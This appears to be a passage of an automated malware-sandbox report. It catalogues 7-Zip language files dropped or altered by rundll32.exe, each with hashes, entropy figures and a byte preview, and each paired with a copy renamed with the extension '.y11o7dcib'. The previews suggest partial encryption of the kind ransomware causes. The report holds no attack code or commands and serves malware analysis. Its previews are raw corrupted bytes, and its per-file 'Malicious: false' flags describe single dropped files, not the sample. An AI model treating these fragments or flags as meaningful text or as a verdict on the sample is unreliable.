da.....<......wM..8.\|1...G.e...T.......<

C:\Program Files\7-Zip\Lang\cs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9464
Entropy (8bit):	6.854290331617715
Encrypted:	false
SSDEEP:	192:+jIZzuegE5aNm6a5rgIVb3QVYJYHORAjeyVa2+QLOwUIS:HSdN85rgIVb3QVLORAjVfFI
MD5:	CFF5F9E1D7663E377720028AEF48B3C7
SHA1:	C28A7543B8BBF897C030856A03BE2DAFFF30BDED
SHA-256:	C1DE97A5761181E985CEE8C5C84833927565C14F6160803E1EB3E5A0ADB412B0
SHA-512:	DA63A94C56EF4E40ADE38BD4C91A8D568510D36EE23714D954AE128EFE947BC4FC843D7D7391984A589F3CD521A311E83B15B3EF0E9D586893342BB2FB7C41A3
Malicious:	false
Preview:	..`...jiT......z?.0.p.bF..}..gB[......"....O...~.......0..[lhanec..; 9.07 : Ji.. Mal.k..; 15.00 : Kry.tof .ern...;..;..;..;..;..;..;..0..7-Zip..Czech...e.tina..401..OK..Storno....6.....eh>!.n....-.q.mv.A....\/x......%.T....-.P,.........na &v.echno..N&e na v.echno..Zastavit..Spustit znovu..&Pozad...P&op.ed...Po&zastavit..Pozastaveno..Jste si jist., .e to c.X......hAE.V....n....v.#...5!J.J.......(.....H.......~..Z...&N.stroje..N.po&v.da..540..&Otev..t..Otev..t u&vnit...Otev..t &mimo..&Zobrazit..&Upravit..&P.ejmenovat..Kop.rova......%.9{=.....4G.+.?.b[...U-oT[.......Uq....U".....V..Xou.it soubory.....Vlast&nosti..Pozn.mk&a..Vypo..tat kontroln. sou.et..Porovnat soubory..Vytvo.it slo.ku..Vytvo.it soubo.6....nd>!.D.}\../?.-.<.)...3I`]ZH......C.B....G9... .......it v.b.r v.e..&Invertovat v.b.r..Vybrat.....Zru.it v.b.r.....Vybrat podle typu..Zru.it v.b.r podle typu..700..&Velk.M.........f.LV....4\...v.)...*!J(~U.....

C:\Program Files\7-Zip\Lang\cs.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9464
Entropy (8bit):	6.854290331617715
Encrypted:	false
SSDEEP:	192:+jIZzuegE5aNm6a5rgIVb3QVYJYHORAjeyVa2+QLOwUIS:HSdN85rgIVb3QVLORAjVfFI
MD5:	CFF5F9E1D7663E377720028AEF48B3C7
SHA1:	C28A7543B8BBF897C030856A03BE2DAFFF30BDED
SHA-256:	C1DE97A5761181E985CEE8C5C84833927565C14F6160803E1EB3E5A0ADB412B0
SHA-512:	DA63A94C56EF4E40ADE38BD4C91A8D568510D36EE23714D954AE128EFE947BC4FC843D7D7391984A589F3CD521A311E83B15B3EF0E9D586893342BB2FB7C41A3
Malicious:	false
Preview:	..`...jiT......z?.0.p.bF..}..gB[......"....O...~.......0..[lhanec..; 9.07 : Ji.. Mal.k..; 15.00 : Kry.tof .ern...;..;..;..;..;..;..;..0..7-Zip..Czech...e.tina..401..OK..Storno....6.....eh>!.n....-.q.mv.A....\/x......%.T....-.P,.........na &v.echno..N&e na v.echno..Zastavit..Spustit znovu..&Pozad...P&op.ed...Po&zastavit..Pozastaveno..Jste si jist., .e to c.X......hAE.V....n....v.#...5!J.J.......(.....H.......~..Z...&N.stroje..N.po&v.da..540..&Otev..t..Otev..t u&vnit...Otev..t &mimo..&Zobrazit..&Upravit..&P.ejmenovat..Kop.rova......%.9{=.....4G.+.?.b[...U-oT[.......Uq....U".....V..Xou.it soubory.....Vlast&nosti..Pozn.mk&a..Vypo..tat kontroln. sou.et..Porovnat soubory..Vytvo.it slo.ku..Vytvo.it soubo.6....nd>!.D.}\../?.-.<.)...3I`]ZH......C.B....G9... .......it v.b.r v.e..&Invertovat v.b.r..Vybrat.....Zru.it v.b.r.....Vybrat podle typu..Zru.it v.b.r podle typu..700..&Velk.M.........f.LV....4\...v.)...*!J(~U.....

C:\Program Files\7-Zip\Lang\cy.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5530
Entropy (8bit):	6.6361665337069065
Encrypted:	false
SSDEEP:	96:Nose3C0Ee8tuFKrhYlVzvGT88iuaUYTvKp0Da2XYFpEZXYf0w6/s7nES:NfeS9IcquviVUYTRa2IKk08TES
MD5:	2306D9CB4B07DAF84F68C91AFE6FC9C7
SHA1:	286C5C9FB9F52D32262F62F5B7FFCAF4E8963DDB
SHA-256:	8E6F11F5330EAB2022070EFCE4F0819DC0D1F2725C923BB346F1E8F9B042E205
SHA-512:	F22D794854091CB01CBD4E2943C8E2533BCD0BB988D42299E2A0CE452B4C8DE78A7D3ACCAB0C80DA44C0BF80E53F07A824F0BCB16EB1768F32C95FA20D869EAC
Malicious:	false
Preview:	..R..5.J.5r.:(..%.V...d.#.2.V.....J..<Z.C..J.E.....{.;...`%....;..;..;..0..7-Zip..Welsh..Cymraeg..401..Iawn..Canslo........&Iawn..&Na..&Cau..Cymorth....P&arhau..440..Iawn i'r &Cwbwl..Na i'r ...ZY.V!.&/>r.N.IH.....3]c..,.......g.._.+...ns.(a..,.^...,Q{....Ydych chi am canslo?..500..&Ffeil..&Golygu..Gwe&ld..Ff&efrynnau..&Offer..&Cymorth..540..&Agor..Agor tu &Mewn..Agor tu &Fas..Gw...\#.}l.>9)npI..H.....I.+.jzT.U.\.D.m`.#.guP0 <....]pv.Q._..lti ffeil.....Cy&funo ffeilau.....&Priodweddau..Syl&wad..Cyfrifo swm-gwirio....Creu Ffolder..Creu Ffeil..Alla&n..600..Dewis y C&.H.V#..J..$~..(XW....)..rx.P.....M...V.'..MX.igB..n.;Qb.vLs..is.....Dewis trwy Math..Dad-ddewis trwy Math..700..Eiconau &Mawr..Eiconau &Bach..&Rhestr..Ma&nylion..730..Dad-dosbarthu..Golwg F.O.5$Si..3.+w.N.J@.....bkk.`x.\|.....,..'W.<..0n.wjU...._5V.{dr..l..Hanes Ffolderi.....&Adnewyddu..750..Bar Offer Archif..Bar Offer Arferol..Botwmau Fawr..Dangos Testun Botwmau..800..&Ychwanegu.H.WB.>Y.;`.}.%.qO.....!H..If.......`..{

C:\Program Files\7-Zip\Lang\cy.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5530
Entropy (8bit):	6.6361665337069065
Encrypted:	false
SSDEEP:	96:Nose3C0Ee8tuFKrhYlVzvGT88iuaUYTvKp0Da2XYFpEZXYf0w6/s7nES:NfeS9IcquviVUYTRa2IKk08TES
MD5:	2306D9CB4B07DAF84F68C91AFE6FC9C7
SHA1:	286C5C9FB9F52D32262F62F5B7FFCAF4E8963DDB
SHA-256:	8E6F11F5330EAB2022070EFCE4F0819DC0D1F2725C923BB346F1E8F9B042E205
SHA-512:	F22D794854091CB01CBD4E2943C8E2533BCD0BB988D42299E2A0CE452B4C8DE78A7D3ACCAB0C80DA44C0BF80E53F07A824F0BCB16EB1768F32C95FA20D869EAC
Malicious:	false
Preview:	..R..5.J.5r.:(..%.V...d.#.2.V.....J..<Z.C..J.E.....{.;...`%....;..;..;..0..7-Zip..Welsh..Cymraeg..401..Iawn..Canslo........&Iawn..&Na..&Cau..Cymorth....P&arhau..440..Iawn i'r &Cwbwl..Na i'r ...ZY.V!.&/>r.N.IH.....3]c..,.......g.._.+...ns.(a..,.^...,Q{....Ydych chi am canslo?..500..&Ffeil..&Golygu..Gwe&ld..Ff&efrynnau..&Offer..&Cymorth..540..&Agor..Agor tu &Mewn..Agor tu &Fas..Gw...\#.}l.>9)npI..H.....I.+.jzT.U.\.D.m`.#.guP0 <....]pv.Q._..lti ffeil.....Cy&funo ffeilau.....&Priodweddau..Syl&wad..Cyfrifo swm-gwirio....Creu Ffolder..Creu Ffeil..Alla&n..600..Dewis y C&.H.V#..J..$~..(XW....)..rx.P.....M...V.'..MX.igB..n.;Qb.vLs..is.....Dewis trwy Math..Dad-ddewis trwy Math..700..Eiconau &Mawr..Eiconau &Bach..&Rhestr..Ma&nylion..730..Dad-dosbarthu..Golwg F.O.5$Si..3.+w.N.J@.....bkk.`x.\|.....,..'W.<..0n.wjU...._5V.{dr..l..Hanes Ffolderi.....&Adnewyddu..750..Bar Offer Archif..Bar Offer Arferol..Botwmau Fawr..Dangos Testun Botwmau..800..&Ychwanegu.H.WB.>Y.;`.}.%.qO.....!H..If.......`..{

C:\Program Files\7-Zip\Lang\da.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8679
Entropy (8bit):	6.650877304331687
Encrypted:	false
SSDEEP:	192:QBQMfiV9NHtXX6eD9sbP32JIGx6YUYLSn0EjJfJw3zQCDPpFdl73QnCTznrS:272jN6emPYIGx6YUYLXEjZJEzQ2pFL7Q
MD5:	82A7239F8DB24F8E73FEECE17F63EACB
SHA1:	9D53BB597AE8F1740F4A787A3390C882361E9384
SHA-256:	06773047D62A4FAB33EC373AB7B4E1BFB79B531B570F35677899978C3AB5C1D4
SHA-512:	6A70324639AF73B858FE23AE72446948A7BB62FDA9F85235D5A721E2E228EAE140C85C698949DC8BDEFFA7F23D268F16D61F1F3B68FA3C52AE97DE6608560BE0
Malicious:	false
Preview:	.8..36.w....._n..`..*.....$.2^U7.].^.l.......g.{...J.fbTe.en, J.rgen Rasmussen..; 15.00 : 2016-11-25 : scootergrisen..;..;..;..;..;..;..;..;..0..7-Zip..Danish..Dansk..401..OK..Annuller.....XU.c......E.n.........H\|.5.W1.B.B.I%.o......<.D...L.djT.jNej til a&lle..Stop..Genstart..&Baggrund..&Forgrund..&Pause..Sat p. pause..Er du sikker p., at du vil annullere?..500..&Filer..K..61. .....Ssi..!..x.....O.(R.B.._._.l...Xsc..W.....L7.d_.j.bn &inden i...bn &uden for..&Vis..&Rediger..O&md.b..&Kopier til.....&Flyt til.....S&let..&Opdel fil.....Kom&biner filer......\..<+.$.....O.......x....!.8[.D.U.Q..v.a...1\W...%.zcE7.appe..Opret fil..&Afslut..Opret/rediger henvisning..&Alternative str.mme..600..V.lg &alle..Frav.lg alle..&Omvendt markering......5v.k..........n...._... .)Y.D..@.7.'i........;AU....m.; P0..Sto&re ikoner..S&m. ikoner..&Liste..&Detaljer..730..Usorteret..Flad visning..&2 paneler..&V.rkt.jslinjer...bn rodmappe..E.9..$=.0....A...C)..e.....H.{s...U.7

C:\Program Files\7-Zip\Lang\da.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8679
Entropy (8bit):	6.650877304331687
Encrypted:	false
SSDEEP:	192:QBQMfiV9NHtXX6eD9sbP32JIGx6YUYLSn0EjJfJw3zQCDPpFdl73QnCTznrS:272jN6emPYIGx6YUYLXEjZJEzQ2pFL7Q
MD5:	82A7239F8DB24F8E73FEECE17F63EACB
SHA1:	9D53BB597AE8F1740F4A787A3390C882361E9384
SHA-256:	06773047D62A4FAB33EC373AB7B4E1BFB79B531B570F35677899978C3AB5C1D4
SHA-512:	6A70324639AF73B858FE23AE72446948A7BB62FDA9F85235D5A721E2E228EAE140C85C698949DC8BDEFFA7F23D268F16D61F1F3B68FA3C52AE97DE6608560BE0
Malicious:	false
Preview:	.8..36.w....._n..`..*.....$.2^U7.].^.l.......g.{...J.fbTe.en, J.rgen Rasmussen..; 15.00 : 2016-11-25 : scootergrisen..;..;..;..;..;..;..;..;..0..7-Zip..Danish..Dansk..401..OK..Annuller.....XU.c......E.n.........H\|.5.W1.B.B.I%.o......<.D...L.djT.jNej til a&lle..Stop..Genstart..&Baggrund..&Forgrund..&Pause..Sat p. pause..Er du sikker p., at du vil annullere?..500..&Filer..K..61. .....Ssi..!..x.....O.(R.B.._._.l...Xsc..W.....L7.d_.j.bn &inden i...bn &uden for..&Vis..&Rediger..O&md.b..&Kopier til.....&Flyt til.....S&let..&Opdel fil.....Kom&biner filer......\..<+.$.....O.......x....!.8[.D.U.Q..v.a...1\W...%.zcE7.appe..Opret fil..&Afslut..Opret/rediger henvisning..&Alternative str.mme..600..V.lg &alle..Frav.lg alle..&Omvendt markering......5v.k..........n...._... .)Y.D..@.7.'i........;AU....m.; P0..Sto&re ikoner..S&m. ikoner..&Liste..&Detaljer..730..Usorteret..Flad visning..&2 paneler..&V.rkt.jslinjer...bn rodmappe..E.9..$=.0....A...C)..e.....H.{s...U.7

C:\Program Files\7-Zip\Lang\de.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9881
Entropy (8bit):	6.68309905743198
Encrypted:	false
SSDEEP:	192:vek0r1FgxfeR//yZvPlBJRQFgCGD8Lh9ZJSPAHVrkRRRRi6Jlgk/S74LtUkg9ZnO:v0rzgx4yZ9yFgCGgNJfkq6J+Y9tUkg9M
MD5:	A3FDBBF2766BF4B4EF5B204F298B2C56
SHA1:	0D7B2FA56D6BD6576DC1763C883C6187B66CE48F
SHA-256:	0AFB34CD3508AFB4519BE64E10BC0730CB4D3C4A5841468F67F9C4A0D10FDE92
SHA-512:	248639546D251F05C4433A48AB8F3092F705354CFF8C33C46BD0D3850F52B901BE09B0CD083985BF61AE1BF793C0E0E820EAAE0547C2DF8F6434B17D360559C1
Malicious:	false
Preview:	h...w....yf.. _m...?'l!}.........c?..:>A..'.~./.)..R..=...u.[tware.DE..; 9.07 : Joachim Henke..;..;..;..;..;..;..;..;..0..7-Zip..German..Deutsch..401..OK..Abbrechen........&Ja..&Nein..&Sch.'.^....."J..y.M..Zn8r.[........P..\1.i.bT.rx...I...9.E).G_Qle..Stopp..Neustart..&Hintergrund..&Vordergrund..&Pause..Pause..M.chten Sie wirklich abbrechen?..500..&Datei..&Bearbeiten..&Ans.-..[d....$T.?.wM..Mh>`<.+.......o..q].C.$..{z..!...1W:.@.Xn..E&xtern .ffnen..&Ansehen..&Bearbeiten..&Umbenennen..&Kopieren nach.....&Verschieben nach.....&L.schen..Datei auf&splitten...C..7....k..>.x-...S..f........v?..?N..'.~._...j...:..5.,_mr.fsumme berechnen..Ver&gleichen..Ordner erstellen..Datei erstellen..Be&enden..Verkn.pfung.....&Alternative Datenstr.me..600.....3.....9M...\|...Yp)ro.C.S......P...<F..7..>2...b...R}...Q..hlen.....Auswahl aufheben.....Nach Typ ausw.hlen..Nach Typ abw.hlen..700..&Gro.e Symbole..&Kleine Symbole..&Liste..&Details...}..\;....?O.9..J..Polh!.D.......s?.q]

C:\Program Files\7-Zip\Lang\de.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9881
Entropy (8bit):	6.68309905743198
Encrypted:	false
SSDEEP:	192:vek0r1FgxfeR//yZvPlBJRQFgCGD8Lh9ZJSPAHVrkRRRRi6Jlgk/S74LtUkg9ZnO:v0rzgx4yZ9yFgCGgNJfkq6J+Y9tUkg9M
MD5:	A3FDBBF2766BF4B4EF5B204F298B2C56
SHA1:	0D7B2FA56D6BD6576DC1763C883C6187B66CE48F
SHA-256:	0AFB34CD3508AFB4519BE64E10BC0730CB4D3C4A5841468F67F9C4A0D10FDE92
SHA-512:	248639546D251F05C4433A48AB8F3092F705354CFF8C33C46BD0D3850F52B901BE09B0CD083985BF61AE1BF793C0E0E820EAAE0547C2DF8F6434B17D360559C1
Malicious:	false
Preview:	h...w....yf.. _m...?'l!}.........c?..:>A..'.~./.)..R..=...u.[tware.DE..; 9.07 : Joachim Henke..;..;..;..;..;..;..;..;..0..7-Zip..German..Deutsch..401..OK..Abbrechen........&Ja..&Nein..&Sch.'.^....."J..y.M..Zn8r.[........P..\1.i.bT.rx...I...9.E).G_Qle..Stopp..Neustart..&Hintergrund..&Vordergrund..&Pause..Pause..M.chten Sie wirklich abbrechen?..500..&Datei..&Bearbeiten..&Ans.-..[d....$T.?.wM..Mh>`<.+.......o..q].C.$..{z..!...1W:.@.Xn..E&xtern .ffnen..&Ansehen..&Bearbeiten..&Umbenennen..&Kopieren nach.....&Verschieben nach.....&L.schen..Datei auf&splitten...C..7....k..>.x-...S..f........v?..?N..'.~._...j...:..5.,_mr.fsumme berechnen..Ver&gleichen..Ordner erstellen..Datei erstellen..Be&enden..Verkn.pfung.....&Alternative Datenstr.me..600.....3.....9M...\|...Yp)ro.C.S......P...<F..7..>2...b...R}...Q..hlen.....Auswahl aufheben.....Nach Typ ausw.hlen..Nach Typ abw.hlen..700..&Gro.e Symbole..&Kleine Symbole..&Liste..&Details...}..\;....?O.9..J..Polh!.D.......s?.q]

C:\Program Files\7-Zip\Lang\el.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	17211
Entropy (8bit):	6.1520070746583375
Encrypted:	false
SSDEEP:	384:2zI0doe2pHuYownh7wTphhpcrKhBard5GZ6XKVWdd:2NqeV6Nw7/h8bGZSKVWH
MD5:	DD968194ECD397BF369E8494305BC5D2
SHA1:	8D5559DA9079E24329A609D5E9011B74CC960152
SHA-256:	33C3C787190ED174C1B171143952460E95A37D2FC4FDAE5005B8176A18C6617E
SHA-512:	DF89B81F4BDE6C5A64F9FBD8D2567C813BB94CEAEF1E4AABD27FA9B74D2D3807222C7F56FA51B8C671378850B06DC2B4A583C5071494E231E162EBB7AD1348B7
Malicious:	false
Preview:	...9.3.l,A@.j.c!S..2;c.B.u........ejR:.z..,Y^..j)...D.....ill, Vasilis Kosmidis..; 9.07 : SkyHi [HDManiacs Team]..; 15.00 : 2015-05-07: Pete D..;..;..;..;..;..;..;..;..0..7-Zip..Greek.....".......V.@..a....I.)._a{X#]]gGg...x\|..h..'?...3..\y4=x.......................&..........440..... .. &........ .. .&....&.................W.........-......=.}.aLY.\bfhg.[...\|..........:\|..\}4>.x$.....&..................... ........ ... ...... .. .........;..500..&......E.PW........-....e...=._a].V............D...'..;J..]S49.g......&......&.........540....&.............. ... &.... ................. ..h1.$...."...)....e...=._a].V............@...#..;H..]M45.U$......&...............&..............&.................&....&.......... .......W...P,e~...-..d...<.}.aJ.W#.)... .

C:\Program Files\7-Zip\Lang\el.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	17211
Entropy (8bit):	6.1520070746583375
Encrypted:	false
SSDEEP:	384:2zI0doe2pHuYownh7wTphhpcrKhBard5GZ6XKVWdd:2NqeV6Nw7/h8bGZSKVWH
MD5:	DD968194ECD397BF369E8494305BC5D2
SHA1:	8D5559DA9079E24329A609D5E9011B74CC960152
SHA-256:	33C3C787190ED174C1B171143952460E95A37D2FC4FDAE5005B8176A18C6617E
SHA-512:	DF89B81F4BDE6C5A64F9FBD8D2567C813BB94CEAEF1E4AABD27FA9B74D2D3807222C7F56FA51B8C671378850B06DC2B4A583C5071494E231E162EBB7AD1348B7
Malicious:	false
Preview:	...9.3.l,A@.j.c!S..2;c.B.u........ejR:.z..,Y^..j)...D.....ill, Vasilis Kosmidis..; 9.07 : SkyHi [HDManiacs Team]..; 15.00 : 2015-05-07: Pete D..;..;..;..;..;..;..;..;..0..7-Zip..Greek.....".......V.@..a....I.)._a{X#]]gGg...x\|..h..'?...3..\y4=x.......................&..........440..... .. &........ .. .&....&.................W.........-......=.}.aLY.\bfhg.[...\|..........:\|..\}4>.x$.....&..................... ........ ... ...... .. .........;..500..&......E.PW........-....e...=._a].V............D...'..;J..]S49.g......&......&.........540....&.............. ... &.... ................. ..h1.$...."...)....e...=._a].V............@...#..;H..]M45.U$......&...............&..............&.................&....&.......... .......W...P,e~...-..d...<.}.aJ.W#.)... .

C:\Program Files\7-Zip\Lang\en.ttt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8224
Entropy (8bit):	6.608340091392637
Encrypted:	false
SSDEEP:	192:ds79Wnxvq6L3REbVCAwp9ChDbOEvi/LMYRZfHzy7iOr5CIMqVS:dkALbCbVC/9C1bOEvi/AYPfHIg0I
MD5:	BCC48C3B432998D96C256A348481BA5E
SHA1:	0EAC48418C768DC6604EBA14101236EEAB77EF7E
SHA-256:	D81896D669FE0589273B7244A524D16059A43400FA80FA6C8714DC5B6CDF623E
SHA-512:	81000855EBD3917BF0285F461FED143CC6ACCC4A4E5ECBCFA9025643BCF2B04454A9EE54995DD0F55231BF1EC706027A6565FEBFC90767C38630716A280A9198
Malicious:	false
Preview:	.}..J.W~..d..........Q.#....67'.uf ...]..c.w.)...~@.-.}.(......;..;..;..;..;..;..;..0..7-Zip..English..English..401..OK..Cancel........&Yes..&No..&Close..Help....&Continue..440..Yes to &All8...K.t?..H7...^....^........ed~.9c..w.xE.}.{...v"...'.Q....aused..Are you sure you want to cancel?..500..&File..&Edit..&View..F&avorites..&Tools..&Help..540..&Open..Open &Inside..Open O&uA.%....9=..S7....G....H..+.....Ghe.x.y...p..g.n.)...<..*...N..t..&Split file.....Com&bine files.....P&roperties..Comme&nt.....Calculate checksum..Diff..Create Folder..Create File..E&xit..Link.?.....iq....i...C....S.......p'3.4:......RO.l.H......N.#.V..t.ection..Select.....Deselect.....Select by Type..Deselect by Type..700..Lar&ge Icons..S&mall Icons..&List..&Details..730..UnsorteQ.F...o?=..S7....~.s..^n.+....euf.R.f../.Q^.^.e....%.P...G..t.el..Folders History.....&Refresh..Auto Refresh..750..Archive Toolbar..Standard Toolbar..Large Buttons..Show Buttons Text..800..&t.(...w{..PU...A.t..^C.~....ojt.3[...

C:\Program Files\7-Zip\Lang\en.ttt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8224
Entropy (8bit):	6.608340091392637
Encrypted:	false
SSDEEP:	192:ds79Wnxvq6L3REbVCAwp9ChDbOEvi/LMYRZfHzy7iOr5CIMqVS:dkALbCbVC/9C1bOEvi/AYPfHIg0I
MD5:	BCC48C3B432998D96C256A348481BA5E
SHA1:	0EAC48418C768DC6604EBA14101236EEAB77EF7E
SHA-256:	D81896D669FE0589273B7244A524D16059A43400FA80FA6C8714DC5B6CDF623E
SHA-512:	81000855EBD3917BF0285F461FED143CC6ACCC4A4E5ECBCFA9025643BCF2B04454A9EE54995DD0F55231BF1EC706027A6565FEBFC90767C38630716A280A9198
Malicious:	false
Preview:	.}..J.W~..d..........Q.#....67'.uf ...]..c.w.)...~@.-.}.(......;..;..;..;..;..;..;..0..7-Zip..English..English..401..OK..Cancel........&Yes..&No..&Close..Help....&Continue..440..Yes to &All8...K.t?..H7...^....^........ed~.9c..w.xE.}.{...v"...'.Q....aused..Are you sure you want to cancel?..500..&File..&Edit..&View..F&avorites..&Tools..&Help..540..&Open..Open &Inside..Open O&uA.%....9=..S7....G....H..+.....Ghe.x.y...p..g.n.)...<..*...N..t..&Split file.....Com&bine files.....P&roperties..Comme&nt.....Calculate checksum..Diff..Create Folder..Create File..E&xit..Link.?.....iq....i...C....S.......p'3.4:......RO.l.H......N.#.V..t.ection..Select.....Deselect.....Select by Type..Deselect by Type..700..Lar&ge Icons..S&mall Icons..&List..&Details..730..UnsorteQ.F...o?=..S7....~.s..^n.+....euf.R.f../.Q^.^.e....%.P...G..t.el..Folders History.....&Refresh..Auto Refresh..750..Archive Toolbar..Standard Toolbar..Large Buttons..Show Buttons Text..800..&t.(...w{..PU...A.t..^C.~....ojt.3[...

C:\Program Files\7-Zip\Lang\eo.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5566
Entropy (8bit):	6.682651470458156
Encrypted:	false
SSDEEP:	96:wXj7NbJQ48CC8fMLrPZ15y/wywbX+5/FtiUQsk4X7AICMM1us24p3svydNPK6VlK:q5JQ48CMpVs9fQskOE1f24p8v6xbS
MD5:	C8194D7F035C67789481059AB13F7A92
SHA1:	4F3706439ACC32BF472D117E0D10026C58F2E818
SHA-256:	0321F73E6B6D678739EE21C285F179AD9B6FA5F0D106CE0B668E732149F7E72E
SHA-512:	644F0E4D23FC824D2270B85D58CF119FA9747E33639A980046B241A347FE4B703640862AA9CB9FC6423EAF19CD20205C6506F3F3E646EC1285DF0C8D82BDEB14
Malicious:	false
Preview:	..;...\|.<..n.W....z1}.?..h.;$.!~..t.1.%a....q$?[.5..._.0...?..;..;..;..;..0..7-Zip..Esperanto..Esperanto..401..B&one..Nuligu........&Jes..&Ne..&Fermu..Helpo....&Da.rigu..440..Jes por .&i.[..m...=....XdE%.8k1.~..-.o..<c..Y.v.#a...6~^7.V...s.\......Pa.zita...u vi vere volas nuligi?..500..&Dosiero..&Redakto..&Vido..&Favoritaj..&Agordoj..&Helpo..540..&Malfermu..Malfermu &en.<..B.V. ..}.Xb[M..}.{.b...=..F.-n.. .]......>.j.?.U.._.v...$en.....M&ovu en.....&Forigu..&Erigu dosierojn.....Komb&inu dosierojn.....A&tributoj..Ko&mentu..Kalkulu kontrolsumon....Kreu &dos.T..I.^.X..8i.^u@[...x2....$.i..B<._Y...-}.>.vG?.2..)9.\.....iun..&Inversigu markon..Marku.....Malmarku.....Marku la. tipo..Malmarku la. tipo..700..&Grandaj bildetoj..&Malgrandaj bildeto.<..o.C.=..{...pCM.G9m.....'....!~.b^.>."f....[i[5.5..=u.\...n..&Ilobretoj..Malfermu radikan dosierujon..Supren je unu nivelo..Dosierujhistorio......&isdatigu..750..Ar.ivo-ilobreto..Norma .]..Q.D._../...pE....n8.d.....u..=*.. .>

C:\Program Files\7-Zip\Lang\eo.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5566
Entropy (8bit):	6.682651470458156
Encrypted:	false
SSDEEP:	96:wXj7NbJQ48CC8fMLrPZ15y/wywbX+5/FtiUQsk4X7AICMM1us24p3svydNPK6VlK:q5JQ48CMpVs9fQskOE1f24p8v6xbS
MD5:	C8194D7F035C67789481059AB13F7A92
SHA1:	4F3706439ACC32BF472D117E0D10026C58F2E818
SHA-256:	0321F73E6B6D678739EE21C285F179AD9B6FA5F0D106CE0B668E732149F7E72E
SHA-512:	644F0E4D23FC824D2270B85D58CF119FA9747E33639A980046B241A347FE4B703640862AA9CB9FC6423EAF19CD20205C6506F3F3E646EC1285DF0C8D82BDEB14
Malicious:	false
Preview:	..;...\|.<..n.W....z1}.?..h.;$.!~..t.1.%a....q$?[.5..._.0...?..;..;..;..;..0..7-Zip..Esperanto..Esperanto..401..B&one..Nuligu........&Jes..&Ne..&Fermu..Helpo....&Da.rigu..440..Jes por .&i.[..m...=....XdE%.8k1.~..-.o..<c..Y.v.#a...6~^7.V...s.\......Pa.zita...u vi vere volas nuligi?..500..&Dosiero..&Redakto..&Vido..&Favoritaj..&Agordoj..&Helpo..540..&Malfermu..Malfermu &en.<..B.V. ..}.Xb[M..}.{.b...=..F.-n.. .]......>.j.?.U.._.v...$en.....M&ovu en.....&Forigu..&Erigu dosierojn.....Komb&inu dosierojn.....A&tributoj..Ko&mentu..Kalkulu kontrolsumon....Kreu &dos.T..I.^.X..8i.^u@[...x2....$.i..B<._Y...-}.>.vG?.2..)9.\.....iun..&Inversigu markon..Marku.....Malmarku.....Marku la. tipo..Malmarku la. tipo..700..&Grandaj bildetoj..&Malgrandaj bildeto.<..o.C.=..{...pCM.G9m.....'....!~.b^.>."f....[i[5.5..=u.\...n..&Ilobretoj..Malfermu radikan dosierujon..Supren je unu nivelo..Dosierujhistorio......&isdatigu..750..Ar.ivo-ilobreto..Norma .]..Q.D._../...pE....n8.d.....u..=*.. .>

C:\Program Files\7-Zip\Lang\es.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10353
Entropy (8bit):	6.618107166679795
Encrypted:	false
SSDEEP:	192:gNHDTSFUj8cdhFXySB42HhLEfpal6rCcNrJICypNoSQikMmFmaeOjrPNS:gNHbjVdhFi5CYfLbd1ShrmnrPg
MD5:	4469A34709DF78E3F2F1584F881B0E45
SHA1:	9F9B1BA487A984512CC57D1C58C99C4FDBD5D331
SHA-256:	3FDCD2B3C392E5A12FD1A33527DADA1A74DDDDD8749A02AE21FDF9EB091A3954
SHA-512:	787DBF39EF59C1F33E3769FA0FFF39D28F69D90FB6F0CDA90C8E630623161B40A8F5C1681F3A31DBF5A923ED7A7705F7F98D43D67322B2705CF184E4042F6CB8
Malicious:	false
Preview:	..Lt.x.......I.t.>.....C.K....}....y.......}....P...../.l..M : Jbc25..; : 2007-09-05 : Guillermo Gabrielli..; 9.07 : 2010-06-10 : Purgossu..; 2010-10-23 : S0s.&.u/..B....}P).G......C.E....}....t.......1.8..@M[...:.F.B.dated)..; 22.00 : 2023-05-13 : To.o Calo (updated and minor fixes)..;..;..;..;..0..7-Zip..Spanish..Espa.ol..401..Aceptar..Canc0m.=.2G.......6./F.}.....L.....1..(..<.T..O.....>..>......Z.... todo..No a t&odo..Parar..Volver a empezar..Se&gundo plano..P&rimer plano..&Pausa..Pausado...Est.s seguro de que deseas cancel4s.B..z........jP#.9....H..M.^..W..P.6..O..Y.-..Y..4.k8v.&uda..540..&Abrir..Abr&ir dentro..Abrir f&uera..&Ver..&Editar..Reno&mbrar..&Copiar a.....&Mover a.....&Borrar..Di&vidir archivo.{/.E.W'...M....}A$.E.....$i....K..9..T.T...M..e.-..9.....u...A.rificaci.n..Diferencia..Crear carpeta..Crear fichero..&Salir..Vincular..Flujos &alternativos..600..Seleccionar &todo..Deselecci:o.=.L%..)..jP8.A....J..R..6.8.R.0

C:\Program Files\7-Zip\Lang\es.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10353
Entropy (8bit):	6.618107166679795
Encrypted:	false
